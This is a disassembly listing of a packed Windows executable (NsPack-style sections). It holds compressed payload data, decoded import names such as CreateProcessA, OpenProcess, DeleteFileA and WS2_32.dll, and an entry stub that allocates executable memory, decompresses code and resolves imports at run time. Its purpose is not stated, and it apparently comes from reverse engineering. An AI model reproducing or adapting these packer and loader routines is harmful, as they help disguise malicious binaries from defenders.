		dd 6F667265h, 6E616D72h, 6F436563h, 65746E75h, 51010072h
		dd 79726575h, 66726550h, 616D726Fh, 4665636Eh, 75716572h
		dd 79636E65h, 65470100h, 73795374h, 446D6574h, 63657269h
		dd 79726F74h, 47010041h, 6F4C7465h, 546C6163h, 656D69h
		dd 656C5301h, 1007065h,	746C754Dh, 74794269h, 576F5465h
		dd 43656469h, 726168h, 61655201h, 6C694664h, 43010065h
		dd 65736F6Ch, 646E6148h, 100656Ch, 74697257h, 6C694665h
		dd 54010065h, 736E6172h, 4E746361h, 64656D61h, 65706950h
		dd 72430100h, 65746165h, 656C6946h, 47010041h, 6F4D7465h
		dd 656C7564h, 656C6946h, 656D614Eh, 47010041h, 69547465h
		dd 6F46656Dh, 74616D72h, 47010041h, 61447465h, 6F466574h
		dd 74616D72h, 47010041h, 614C7465h, 72457473h, 726F72h
		dd 65724301h, 54657461h, 61657268h, 47010064h, 69467465h
		dd 6953656Ch, 100657Ah,	46746547h, 41656C69h, 69727474h
		dd 65747562h, 1004173h,	646E6946h, 736F6C43h, 46010065h
		dd 54656C69h, 54656D69h, 7379536Fh, 546D6574h, 656D69h
		dd 6C694601h, 6D695465h, 4C6F5465h, 6C61636Fh, 656C6946h
		dd 656D6954h, 69460100h, 654E646Eh, 69467478h, 41656Ch
		dd 6E694601h, 72694664h, 69467473h, 41656Ch, 74655301h
		dd 656C6946h, 6E696F50h, 726574h, 61654C01h, 72436576h
		dd 63697469h, 65536C61h, 6F697463h, 4501006Eh, 7265746Eh
		dd 74697243h, 6C616369h, 74636553h, 6E6F69h, 696E4901h
		dd 6C616974h, 43657A69h, 69746972h, 536C6163h, 69746365h
		dd 6E416E6Fh, 69705364h, 756F436Eh, 100746Eh, 656C6544h
		dd 72436574h, 63697469h, 65536C61h, 6F697463h, 4C01006Eh
		dd 4C64616Fh, 61726269h, 417972h, 74654701h, 636F7250h
		dd 72646441h, 737365h, 74654701h, 75646F4Dh, 6148656Ch
		dd 656C646Eh, 46010041h, 616D726Fh, 73654D74h, 65676173h
		dd 47010041h, 61626F6Ch, 6C6E556Ch, 6B636Fh, 6F6C4701h
		dd 4C6C6162h, 6B636Fh, 6D6E5501h, 69567061h, 664F7765h
		dd 656C6946h, 614D0100h, 65695670h, 46664F77h, 656C69h
		dd 65724301h, 46657461h, 4D656C69h, 69707061h, 41676Eh
		dd 74655301h, 656C6946h, 656D6954h, 65470100h, 6C694674h
		dd 6D695465h, 43010065h, 74616572h, 6F725065h, 73736563h
		dd 45010041h, 6E617078h, 766E4564h, 6E6F7269h, 746E656Dh
		dd 69727453h, 4173676Eh, 65530100h, 6C694674h, 74744165h
		dd 75626972h, 41736574h, 65470100h, 6D655474h, 74615070h
		dd 1004168h, 6B656550h,	656D614Eh, 70695064h, 44010065h
		dd 696C7075h, 65746163h, 646E6148h, 100656Ch, 43746547h
		dd 65727275h, 7250746Eh, 7365636Fh, 43010073h, 74616572h
		dd 70695065h, 47010065h, 65567465h, 6F697372h, 4178456Eh
		dd 6C470100h, 6C61626Fh, 6F6D654Dh, 74537972h, 73757461h
		dd 78450100h, 72507469h, 7365636Fh, 44010073h, 74656C65h
		dd 6C694665h, 1004165h,	6E65704Fh, 636F7250h, 737365h
		dd 74654701h, 72727543h, 50746E65h, 65636F72h, 64497373h
		dd 6F430100h, 69467970h, 41656Ch, 69615701h, 726F4674h
		dd 676E6953h, 624F656Ch, 7463656Ah, 72430100h, 65746165h
		dd 6574754Dh, 1004178h,	6D726554h, 74616E69h, 72685465h
		dd 646165h, 766F4D01h, 6C694665h, 1004165h, 65646957h
		dd 72616843h, 754D6F54h, 4269746Ch, 657479h, 74654701h
		dd 706D6F43h, 72657475h, 656D614Eh, 54010041h, 696D7265h
		dd 6574616Eh, 636F7250h, 737365h, 74654701h, 61636F4Ch
		dd 6E49656Ch, 416F66h, 74654701h, 69676F4Ch, 446C6163h
		dd 65766972h, 48010073h, 41706165h, 636F6C6Ch, 65480100h
		dd 72467061h, 1006565h,	556C7452h, 6E69776Eh, 47010064h
		dd 69547465h, 6F5A656Dh, 6E49656Eh, 6D726F66h, 6F697461h
		dd 4701006Eh, 79537465h, 6D657473h, 656D6954h, 65480100h
		dd 65527061h, 6F6C6C41h, 47010063h, 74537465h, 75747261h
		dd 666E4970h, 100416Fh,	43746547h, 616D6D6Fh, 694C646Eh
		dd 41656Eh, 74654701h, 73726556h, 6E6F69h, 61654801h, 73654470h
		dd 796F7274h, 65480100h, 72437061h, 65746165h, 69560100h
		dd 61757472h, 6572466Ch, 56010065h, 75747269h, 6C416C61h
		dd 636F6Ch, 42734901h, 72576461h, 50657469h, 1007274h
		dd 73696152h, 63784565h, 69747065h, 1006E6Fh, 70616548h
		dd 657A6953h, 434C0100h, 5370614Dh, 6E697274h, 1004167h
		dd 614D434Ch, 72745370h, 57676E69h, 65470100h, 49504374h
		dd 6F666Eh, 74654701h, 504341h,	74654701h, 434D454Fh, 55010050h
		dd 6E61686Eh, 64656C64h, 65637845h, 6F697470h, 6C69466Eh
		dd 726574h, 65724601h, 766E4565h, 6E6F7269h, 746E656Dh
		dd 69727453h, 4173676Eh, 5D0000h, 1AC0000h, 74FF0002h
		dd 73FF00h, 0FF0015FFh,	2FF000Ah, 0DFF00h, 0FF0001FFh
		dd 16FF0034h, 12FF00h, 0FF0097FFh, 9FF000Bh, 17FF00h, 0FF0004FFh
		dd 13FF0010h, 3FF00h, 0
		dd 72D00h, 59072D00h, 3425D4ECh, 141B43A4h, 8CC78824h
		dd 2C0DBC22h, 0ABC37408h, 0E747726Fh, 70044E83h, 6A3B7544h
		dd 80921042h, 0B8CE236Dh, 0C756F198h, 516414CAh, 4E3109C4h
		dd 0AC422DA6h, 34D746A0h, 61A10DC0h, 0AC4774CEh, 70A9037h
		dd 961B553Bh, 5566DE30h, 9469F9B7h, 0A1B2C00h, 0D65DA084h
		dd 0FC0C3EA3h, 0D8832241h, 2AC830Dh, 29271848h,	0B0AC459Ch
		dd 6420EFE5h, 73E22996h, 8144AF52h, 55560066h, 82FB34Ah
		dd 0F28ACC0h, 615200EBh, 9013793h, 73EF73B0h, 0C80C913Bh
		dd 0AB1ED23Dh, 0C701DE03h, 0CB000B9Fh, 0FDC02BD8h, 4140C8h
		dd 0C1CB6154h, 3B826B5Eh, 266C1341h, 1F78336h, 2F1373DBh
		dd 65800213h, 42110433h, 96E05B6Fh, 8605FA4Bh, 45698E13h
		dd 0BF02343Ch, 5D7C5F43h, 0F3ED4003h, 0B33BB05h, 0FAAAB064h
		dd 5B355D8Bh, 8A575D4Dh, 4D290000h, 0AAB0A188h,	55965357h
		dd 9CFD9055h, 230F048h,	0D7766064h, 0D8335D34h,	50540758h
		dd 0B0484C03h, 44DCB073h, 2B245C3Ah, 0F0244307h, 0E7409B9Ah
		dd 0AA0D4B07h, 7F119568h, 40D00198h, 8660E9ACh,	66040CD6h
		dd 269C43C3h, 963F429Dh, 0C0245270h, 7E7FFE26h,	4B3176CDh
		dd 27536A36h, 481D9B49h, 34E87B80h, 99203977h, 6873732Ah
		dd 9C0A1455h, 4AA55518h, 7828296Fh, 71EB5874h, 0E07A9343h
		dd 319D0209h, 0AA818600h, 64800324h, 0E13B2C35h, 0CD9C2052h
		dd 8B535943h, 0A32D82C8h, 634F51AEh, 10945424h,	36428A6Bh
		dd 52F0FB00h, 0EF058E61h, 20812A34h, 92A36459h,	446CD882h
		dd 0E8C6C2Ah, 87D15192h, 0A8385Bh, 4572749h, 0DB03D35Fh
		dd 700BC63h, 40B87024h,	0F73E2F18h, 0C3080184h,	679E7B4h
		dd 3359B160h, 4A05337Bh, 726B300Eh, 455A3003h, 15816DD0h
		dd 0EC370448h, 46002CC8h, 55E4F6Dh, 0F5DB5613h,	100B0E32h
		dd 0F012FC17h, 0A4B1015Fh, 5EB02EBh, 37DBFE8h, 315BA550h
		dd 6B966C9h, 0FF0E7380h, 4DD3A243h, 17F9E2D8h, 0B00C15B1h
		dd 236FE028h, 400364C0h, 6B0C7830h, 7DBEDF77h, 9EB0840h
		dd 408D3404h, 8B3C057Ch, 0CA0403D0h, 44454803h,	8B78D0BFh
		dd 3DA8B97h, 995B1C59h,	57F4DBBEh, 100C1257h, 5D0A7981h
		dd 235D025Bh, 338BDBA2h, 0CF74030Ah, 0D4143B0Ah, 0C3814410h
		dd 37F82AAh, 0FF85DBA4h, 0F203D774h, 0D1526003h, 74671D19h
		dd 0B9014F34h, 4E1B2Ah,	8A015AAAh, 0CD17A76Ah, 0B321A277h
		dd 70F64E8h, 0FEDFFF0Fh, 0A5ED84DDh, 5D5B58C3h,	54EC8350h
		dd 8DFC8B9Eh, 0D78B4048h, 44B0AAF3h, 150737ABh,	515257F1h
		dd 55058951h, 7711E053h, 83D6FFFFh, 0C08554C4h,	5B2D32C3h
		dd 19B40754h, 0B9242C10h, 8482CC06h, 92C71C15h,	0F8149528h
		dd 0D6CDA83Bh, 0A6173F1Dh, 3B730398h, 5838A05Fh, 3F031F81h
		dd 0D90F161Bh, 38007F2Ch, 0C8234178h, 0F0382835h, 65036316h
		dd 962839EEh, 0F012D03h, 28324C80h, 10004820h, 244C95B2h
		dd 90212184h, 1811B01h,	76032001h, 1823F60h, 0C1732A02h
		dd 0DF3B42h, 0AB1E9DEAh, 1B07AC5Bh, 0F71A8EBBh,	71438F8h
		dd 1D2717A8h, 74D34D34h, 0A01AA407h, 34D3981Bh,	901FD34Dh
		dd 4D218813h, 804D34D3h, 700D780Eh, 0CFBA690Fh,	60576834h
		dd 0A6580507h, 1EA69A69h, 20501254h, 9A69A69Ah,	0B440C4Ch
		dd 9A69153Ch, 1C3469A6h, 0A624192Ch, 11A69A69h,	1614181Ch
		dd 9A69A69Ah, 2204170Ch, 0DCCF2300h, 0EFFC68EBh, 7D724h
		dd 0BD9B7FF0h, 0F80767B3h, 0FEF00FFh, 0CC300FDh, 7803B0Fh
		dd 13174410h, 97B02622h, 41DEF930h, 0EC7C0203h,	9C830B0Bh
		dd 200341ABh, 0F70D2D09h, 1315D521h, 402BB5Dh, 83B30708h
		dd 3A4E1BDh, 8279820Fh,	0DFA61721h, 0F9F91B07h,	81A5A1C9h
		dd 40FCE09Fh, 2FA8807Eh, 0BC611ECEh, 0A3DAA3C1h, 7FE81AFh
		dd 0B0219040h, 412FB541h, 66F0BF61h, 0E4A2CFB6h, 0A2E5E7A2h
		dd 5F5BA2E8h, 5EC7776Fh, 5109A17Eh, 5EDA0305h, 0DA5F8FDAh
		dd 5F81B66Ah, 0D332DAC9h, 0CCE0DED8h, 0D8397E31h, 1774D20h
		dd 3021603h, 4D34D307h,	18030437h, 60060D05h, 94C071Fh
		dd 7080B76h, 0C8360C92h, 0B1B0A09h, 0F7B3B06Ch,	0F073B57h
		dd 0C8131057h, 111BA760h, 21171203h, 360C8320h,	43410F35h
		dd 0D8360D83h, 17523350h, 0C570753h, 5F60D836h,	176C7B59h
		dd 3DC3EF6Dh, 3EB410Eh,	0B0AB72A3h, 0C77B06C1h,	81B3802Fh
		dd 1906C107h, 831F826Ch, 0D8364784h, 91C108h, 0A10F9E43h
		dd 8320D88Fh, 0A76FA40Dh, 83869FB7h, 1FCE360Ch,	0B0718D7h
		dd 9DEFBA4h, 0FC047h, 41040B1Dh, 9619019Ah, 190088Dh, 8F8E9019h
		dd 1901990h, 93929119h,	242760CCh, 8CE307CFh, 9DC0CF08h
		dd 1A730C55h, 9F70AB42h, 7C4DCFBh, 270798FBh, 3D670774h
		dd 1A6703E9h, 0F1A18CFh, 0F49E93F4h, 0C85719ACh, 1990DF19h
		dd 793D67F7h, 871968D6h, 18F81930h, 4D34D017h, 780774D3h
		dd 7AB079C0h, 0D3278A20h, 63FC3CA0h, 0F499EEEFh, 97A00F47h
		dd 107AE46h, 1258F652h,	66003054h, 0BBF6B0ACh, 19CB0022h
		dd 0C0222Fh, 0D2F2694h,	0F8AFD2D2h, 3523FC01h, 4D5E40BFh
		dd 3333D67h, 183B812Fh,	6BE33DDFh, 477F5BB0h, 0F1F08B70h
		dd 10074651h, 0B6745437h, 503B28BEh, 872C3F44h,	9B87FF43h
		dd 3328892Dh, 9EE90F00h, 0E70B2978h, 0AB5A033Bh, 78A69A69h
		dd 0F3D4B597h, 7029B6CBh, 330D4DDh, 33016DE8h, 5DD34D34h
		dd 7759033Ah, 0BAE9B496h, 0F2D3D353h, 32F27AAh,	23EC9C4Dh
		dd 0A0A06CA9h, 0C80B4002h, 92792705h, 4008FA97h, 0C3500C9Ch
		dd 92790FC8h, 12F4240Fh, 16989680h, 7E4FF3FFh, 19BEBC20h
		dd 1BC9BF04h, 0EDA1348Eh, 0C21BCECCh, 0FFFFFFD3h, 20404EFFh
		dd 70B59EF0h, 0C5ADA82Bh, 0D040699Dh, 0E525FD5Dh, 194F8E1Ah
		dd 714083EBh, 4395D796h, 0FFFFED0Eh, 298D05FFh,	0F9409EAFh
		dd 0ED44A0BFh, 818F1281h, 0BF40B982h, 0CFA6D53Ch, 781F49FFh
		dd 0FFFFFF3Ch, 0C66F40FFh, 80E98CE0h, 93BA47C9h, 85BC41A8h
		dd 3927556Bh, 0E070F78Dh, 0DDBC427Ch, 9DF9DE8Eh, 0FFFFFFFBh
		dd 0AA7EEBFFh, 0E6A14351h, 0F2CCE376h, 81842F29h, 10284426h
		dd 0AEF8AA17h, 0C4C5E310h, 0A7EB44FAh, 0FFFFFFD4h, 0EBF7F3FFh
		dd 957A4AE1h, 0CC6545CFh, 0A60E91C7h, 0E319A0AEh, 650D46A3h
		dd 81750C17h, 0C9767586h, 0FFFFFF48h, 42584DFFh, 3993A7E4h
		dd 0B2B8353Bh, 0A74D53EDh, 0C53D5DE5h, 9E8B3B5Dh, 5DFF5A92h
		dd 20A1F0A6h, 0FFFFFFC0h, 8CA554FFh, 0FDD16137h, 0D88B5A8Bh
		dd 0F9895D25h, 95AA67DBh, 0BF27F3F8h, 0DD5DC8A2h, 0C94C6E80h
		dd 0BF6B3F9Bh, 8A2097FFh, 0C4605202h, 0CDFA7525h, 0FB0001CCh
		dd 0FA3D713Fh, 0AF7FFFFh, 470A3D7h, 645A3FF8h, 8D4FDF3Bh
		dd 83126E97h, 0D3C33FF5h, 0E219652Ch, 17FFFFFFh, 0F1D1B7DDh
		dd 230FD03Fh, 471B4784h, 0EEA7C5ACh, 0B6A6403Fh, 5AF6C69h
		dd 0FF8637BDh, 0EBFFFFFFh, 0BC3D333Fh, 0D5E57A42h, 0E7D6BF94h
		dd 0FDFDC23Fh, 118461CEh, 0E4ABCC77h, 5B4C2F3Fh, 0FFC44DE1h
		dd 0BEFFFFFFh, 0C9E69594h, 53C4923Fh, 0CD44753Bh, 0AF9ABE14h
		dd 0BA67DE3Fh, 0AD453994h, 94CFB11Eh, 0FF23243Fh, 0C6FFFFFFh
		dd 3BBABCE2h, 7A8B6131h, 5955613Fh, 53B17EC1h, 5FBB127Ch
		dd 2FEED73Fh, 92BE068Dh, 0FFFB1585h, 44B7FFFFh,	0E9A53F23h
		dd 0EA27A539h, 3F2AA87Fh, 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h
		dd 0FF067B63h
		dd 0CCFFFFFFh, 83775423h, 3D8191FFh, 193AFA91h,	4325637Ah
		dd 3CACC031h, 38D18921h, 0B8974782h, 0FFD7FD00h, 3BFFFFFFh
		dd 85888DCh, 0E3E8B11Bh, 3B03A686h, 424584C6h, 7599B607h
		dd 3A2EDB37h, 0D21C7133h, 0FF32DB23h, 0EEFFFFFFh, 395A9049h
		dd 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h,	449F52A7h
		dd 2C10B759h, 0FFE44925h, 2DFFFFFFh, 534F3436h,	256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 0E2228350h, 18FFFB7Fh, 62654B4Eh, 0AF8F83FDh, 117D9406h
		dd 0CE9FDE2Dh, 0DD04C8D2h, 9F8AD8A6h, 0B48B07D1h, 3F2E9B1Ch
		dd 0D84A5641h, 406780C3h, 87A01740h, 5FD3A87Ah,	86A0408Ah
		dd 1D1D35ACh, 6C2C6C37h, 202EAF60h, 0BE028F1Fh,	6F5F2241h
		dd 0B5E85F66h, 1F601D51h, 25FCB74h, 0AD5CE47Bh,	4000CF18h
		dd 0A8208A48h, 50510240h, 0A0028C81h, 40051902h, 800A3205h
		dd 14640Ah, 28C815h, 151902Ah, 2A32054h, 54640A8h, 0A8C8150h
		dd 141902A0h, 28320540h, 51640A80h, 0A3C81500h,	46902A00h
		dd 8C205401h, 1940A802h, 32815005h, 0D002A00Ah,	50150511h
		dd 4549F800h, 65470151h, 64401774h, 6CDB87A2h, 7D20AA93h
		dd 81275313h, 5669C082h, 113B461h, 9F6972C0h, 543C0018h
		dd 36728700h, 0B9506764h, 38410F57h, 0F00155Fh,	2D664F64h
		dd 16B05101h, 427349FBh, 1F586461h, 0CF7E80Dh, 290DB050h
		dd 74116E55h, 64BC80ACh, 0BB70045h, 74367F02h, 70001C65h
		dd 0CC12007h, 20CD9B76h, 646491ECh, 0AAA82F48h,	72B32C59h
		dd 0BAC8645Eh, 410F57C5h, 0B037B33Dh, 3A2C0DE7h, 3B980A48h
		dd 1D534404h, 3D842EEAh, 5773454Bh, 21D09917h, 65EC6D81h
		dd 0B1F6432Fh, 3B815158h, 6B636954h, 0A2C261h, 0A2C22908h
		dd 5E011800h, 3668802Fh, 21B38CB3h, 0D5C54404h,	0A200B9B7h
		dd 6D5BA74Ch, 2B4001C8h, 634C2B4h, 47F6FB42h, 7479420Dh
		dd 69576FECh, 1525C64h,	59B8384Ch, 3B5A8265h, 1CE0020h
		dd 0F827AC57h, 17CD5540h, 0BB63610Ch, 34002070h, 2A706990h
		dd 0DCCD9800h, 666B1EBCh, 81A2F62Fh, 6513240Fh,	7AFBECEEh
		dd 0F74AE46h, 0B60F3144h, 5F800AACh, 4B0E004Eh,	80911218h
		dd 9B021D93h, 0B974410Ch, 0F520AC46h, 9EE73C72h, 0A310AD7Bh
		dd 681B1EACh, 0DCC242D1h, 150B0304h, 367D8B04h,	4E390E2Ch
		dd 48527865h, 370D61D9h, 530F33FBh, 9DB0A06Ch, 696F50F0h
		dd 768F4C75h, 89300126h, 67B2F10Ah, 0BE405598h,	0A2C1151Ch
		dd 23499802h, 6476ED08h, 53634130h, 65E15070h, 6F2882AFh
		dd 6820A253h, 55F9A76Dh, 31F0869Dh, 4B095FBDh, 61635498h
		dd 2688029Dh, 2348A9BCh, 624DE000h, 2F612F31h, 2E55EA22h
		dd 0B5BF480Dh, 130B4CD8h, 69567028h, 0DD697765h, 4D761612h
		dd 7018CA0Eh, 49212EC9h, 0C47339Ah, 61A438FBh, 0CA41FC2Dh
		dd 0F0949270h, 44E58656h, 0EB4005B9h, 665168Ch,	4638D8C0h
		dd 955001F2h, 869546Bh,	0BA325101h, 1554426h, 64BDE08Bh
		dd 2F7F70C1h, 8136841Eh, 285D708h, 9000148Ah, 3148B97h
		dd 3B69EF80h, 2C38C900h, 6C01B47Ah, 68174009h, 0D7EC1DA1h
		dd 70AF6449h, 61572C79h, 200C7146h, 0D953AE80h,	3E8AB76Ch
		dd 4D8AD877h, 85547DD9h, 0DB8AF180h, 18D4B0C5h,	6B76B0D2h
		dd 10148E6Ch, 738192CDh, 9876484Bh, 5E4203DFh, 49750003h
		dd 61FC65C5h, 21380055h, 0B6008214h, 6B48216Eh,	9AF4D170h
		dd 720AF39Dh, 261574D2h, 7709D1C9h, 235A87DBh, 0E3C7B149h
		dd 176F3443h, 0D6B16630h, 48083B6Ch, 0A045921Bh, 97605A2h
		dd 0AAF5C3AFh, 0A96EA277h, 0C0100279h, 6B583A6Ch, 0C6CC3BCh
		dd 4264E017h, 9AE65B30h, 610C92A9h, 26BC09D4h, 52ED61DEh
		dd 500C04D9h, 3052D8CEh, 0FD293C70h, 3194434Ch,	584D9DECh
		dd 5095570Dh, 0DE0C0AA1h, 0B416D63h, 4D454F07h,	11D02F09h
		dd 41952302h, 5418E0DDh, 0E501AC05h, 2BAD74FFh,	7302B2CBh
		dd 0D0E0A15h, 59659602h, 16340196h, 5A0B9712h, 9596596h
		dd 13100417h, 0A0BDFB4h, 72D001Ch, 3, 12000000h, 0FF00h
		dd 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_46C3B0:				; CODE XREF: start+272j
		pusha
		mov	esi, offset dword_454000
		lea	edi, [esi-53000h]
		push	edi
		or	ebp, 0FFFFFFFFh
		jmp	short loc_46C3D2
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		align 8
; START	OF FUNCTION CHUNK FOR start


loc_46C3C8:				; CODE XREF: start:loc_46C3D9j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi


loc_46C3CE:				; CODE XREF: start-2D14j start-2CFDj
		add	ebx, ebx
		jnz	short loc_46C3D9


loc_46C3D2:				; CODE XREF: start-2DBAj
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_46C3D9:				; CODE XREF: start-2DAAj
		jb	short loc_46C3C8
		mov	eax, 1


loc_46C3E0:				; CODE XREF: start-2D8Bj start-2D80j
		add	ebx, ebx
		jnz	short loc_46C3EB
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_46C3EB:				; CODE XREF: start-2D98j
		adc	eax, eax
		add	ebx, ebx
		ja	short loc_46C3E0
		jnz	short loc_46C3FC
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_46C3E0


loc_46C3FC:				; CODE XREF: start-2D89j
		xor	ecx, ecx
		sub	eax, 3
		jb	short loc_46C410
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		xor	eax, 0FFFFFFFFh
		jz	short loc_46C482
		mov	ebp, eax


loc_46C410:				; CODE XREF: start-2D79j
		add	ebx, ebx
		jnz	short loc_46C41B
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_46C41B:				; CODE XREF: start-2D68j
		adc	ecx, ecx
		add	ebx, ebx
		jnz	short loc_46C428
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_46C428:				; CODE XREF: start-2D5Bj
		adc	ecx, ecx
		jnz	short loc_46C44C
		inc	ecx


loc_46C42D:				; CODE XREF: start-2D3Ej start-2D33j
		add	ebx, ebx
		jnz	short loc_46C438
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_46C438:				; CODE XREF: start-2D4Bj
		adc	ecx, ecx
		add	ebx, ebx
		ja	short loc_46C42D
		jnz	short loc_46C449
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_46C42D


loc_46C449:				; CODE XREF: start-2D3Cj
		add	ecx, 2


loc_46C44C:				; CODE XREF: start-2D50j
		cmp	ebp, 0FFFFF300h
		adc	ecx, 1
		lea	edx, [edi+ebp]
		cmp	ebp, 0FFFFFFFCh
		jle	short loc_46C46C


loc_46C45D:				; CODE XREF: start-2D16j
		mov	al, [edx]
		inc	edx
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_46C45D
		jmp	loc_46C3CE
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR start


loc_46C46C:				; CODE XREF: start-2D1Fj start-2D01j
		mov	eax, [edx]
		add	edx, 4
		mov	[edi], eax
		add	edi, 4
		sub	ecx, 4
		ja	short loc_46C46C
		add	edi, ecx
		jmp	loc_46C3CE
; ---------------------------------------------------------------------------


loc_46C482:				; CODE XREF: start-2D6Ej
		pop	esi
		sub	edi, [edi-4]
		push	edi
		mov	edi, esi
		mov	ecx, 0CDCh


loc_46C48E:				; CODE XREF: start-2CE5j start-2CE0j
		mov	al, [edi]
		inc	edi
		sub	al, 0E8h


loc_46C493:				; CODE XREF: start-2CC2j
		cmp	al, 1
		ja	short loc_46C48E
		cmp	byte ptr [edi],	12h
		jnz	short loc_46C48E
		mov	eax, [edi]
		mov	bl, [edi+4]
		shr	ax, 8
		rol	eax, 10h
		xchg	al, ah
		sub	eax, edi
		sub	bl, 0E8h
		add	eax, esi
		mov	[edi], eax
		add	edi, 5
		mov	eax, ebx
		loop	loc_46C493
		pop	edi


loc_46C4BB:				; CODE XREF: start-2C9Dj
		mov	eax, [edi]
		or	eax, eax
		jz	short loc_46C504
		mov	ebx, [edi+4]
		lea	eax, [eax+esi+6C000h]
		add	ebx, esi
		push	eax
		add	edi, 8
		call	dword ptr [esi+6C03Ch]
		xchg	eax, edx


loc_46C4D8:				; CODE XREF: start-2C7Aj
		mov	al, [edi]
		inc	edi
		or	al, al
		jz	short loc_46C4BB
		push	edx
		mov	ecx, edi
		jns	short near ptr loc_46C4EA+1
		movzx	eax, word ptr [edi]
		inc	edi
		push	eax
		inc	edi


loc_46C4EA:				; CODE XREF: start-2C98j
		mov	ecx, 0AEF24857h
		push	edx
		call	dword ptr [esi+6C040h]
		pop	edx
		or	eax, eax
		jz	short loc_46C502
		mov	[ebx], eax
		add	ebx, 4
		jmp	short loc_46C4D8
; ---------------------------------------------------------------------------


loc_46C502:				; CODE XREF: start-2C81j
		popa
		retn
; ---------------------------------------------------------------------------


loc_46C504:				; CODE XREF: start-2CBBj
		popa
		jmp	sub_417AF8
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		align 4
		dd 2C0h	dup(0)
		dd 6D050h, 6D03Ch, 3 dup(0)
		dd 6D05Dh, 6D048h, 5 dup(0)
		dd 7C801D77h, 7C80ADA0h, 0
		dd 71AB9639h, 0
		dd 4E52454Bh, 32334C45h, 4C4C442Eh, 32535700h, 2E32335Fh
		dd 6C6C64h, 6F4C0000h, 694C6461h, 72617262h, 4179h, 50746547h
		dd 41636F72h, 65726464h, 7373h,	6C000h,	0Ch, 33B2h, 0
		dd 8, 3D9h dup(0)
		dd 13h,	0
		dd 6D03Ch, 80ADA077h, 12000E7Ch, 0D000000h, 48000000h
		dd 390006D0h, 571AB96h,	4 dup(0)
		dd 616F4C00h, 62694C64h, 79726172h, 74654741h, 636F7250h
		dd 72646441h, 0FF737365h, 80000003h, 3EBh dup(0)
_nsp0		ends

; Section 2. (virtual address 0006F000)
; Virtual size			: 00019000 ( 102400.)
; Section size in file		: 00019000 ( 102400.)
; Offset to raw	data for section: 0006F000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_nsp1		segment	para public 'CODE' use32
		assume cs:_nsp1
		;org 46F000h
		assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing
		dd 906h, 0
		dd 6E000h, 0
		dd 400000h, 0
		dd 71AB0000h, 7	dup(0)
		dd 340000h, 0
		dd 400000h, 0Ah	dup(0)
		dd 2, 168h, 2 dup(0)
		dd 1, 0
		dd offset sub_401000, 0
		dd 17C63h, 3 dup(0)
		dd 7C801D77h, 7C80ADA0h, 7C801AD0h, 7C809A51h, 7C809AE4h
		dd 7C81CDDAh, 0
		dd 71AB9639h, 4	dup(0)
		dd 6F0FCh, 6F09Ch, 3 dup(0)
		dd 6F109h, 6F0B8h, 5 dup(0)
		dd 4E52454Bh, 32334C45h, 4C4C442Eh, 32535700h, 2E32335Fh
		dd 4C4C44h, 6F4C0000h, 694C6461h, 72617262h, 4179h, 74654700h
		dd 636F7250h, 72646441h, 737365h, 69560000h, 61757472h
		dd 6F72506Ch, 74636574h, 56000000h, 75747269h, 6C416C61h
		dd 636F6Ch, 69560000h, 61757472h, 6572466Ch, 65h, 74697845h
		dd 636F7250h, 737365h, 71890000h, 3BB8D10h
		db 0BEh, 53h

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

; FUNCTION CHUNK AT 0046C3B0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0046C3C8 SIZE 000000A3 BYTES
; FUNCTION CHUNK AT 0046C46C SIZE 0000009E BYTES
; FUNCTION CHUNK AT 0046F53A SIZE 00000009 BYTES

		pushf
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 7
		lea	ecx, [ebp-0FEh]
		cmp	byte ptr [ecx],	1
		jz	loc_46F3D6
		mov	byte ptr [ecx],	1
		mov	eax, ebp
		sub	eax, [ebp-16Ah]
		mov	[ebp-16Ah], eax
		add	[ebp-13Ah], eax
		lea	esi, [ebp-0F6h]
		add	[esi], eax
		push	ebp
		push	esi
		push	40h
		push	1000h
		push	1000h
		push	0
		call	dword ptr [ebp-0D2h]
		test	eax, eax
		jz	loc_46F53A
		mov	[ebp-142h], eax
		call	$+5
		pop	ebx
		mov	ecx, 367h
		add	ebx, ecx
		push	eax
		push	ebx
		call	sub_46F49B
		pop	esi
		pop	ebp
		mov	esi, [esi]
		mov	edi, ebp
		add	edi, [ebp-17Ah]
		mov	ebx, edi
		cmp	dword ptr [edi], 0
		jnz	short loc_46F208
		add	edi, 4
		mov	ecx, 0
		jmp	short loc_46F21E
; ---------------------------------------------------------------------------


loc_46F208:				; CODE XREF: start+82j
		mov	ecx, 1
		add	edi, [ebx]
		add	ebx, 4


loc_46F212:				; CODE XREF: start+CFj
		cmp	dword ptr [ebx], 0
		jz	short loc_46F24B
		add	[ebx], edx
		mov	esi, [ebx]
		add	edi, [ebx+4]


loc_46F21E:				; CODE XREF: start+8Cj
		push	edi
		push	ecx
		push	ebx
		push	dword ptr [ebp-0CEh]
		push	dword ptr [ebp-0D2h]
		mov	edx, esi
		mov	ecx, edi
		mov	eax, [ebp-142h]
		add	eax, 5AAh
		call	eax
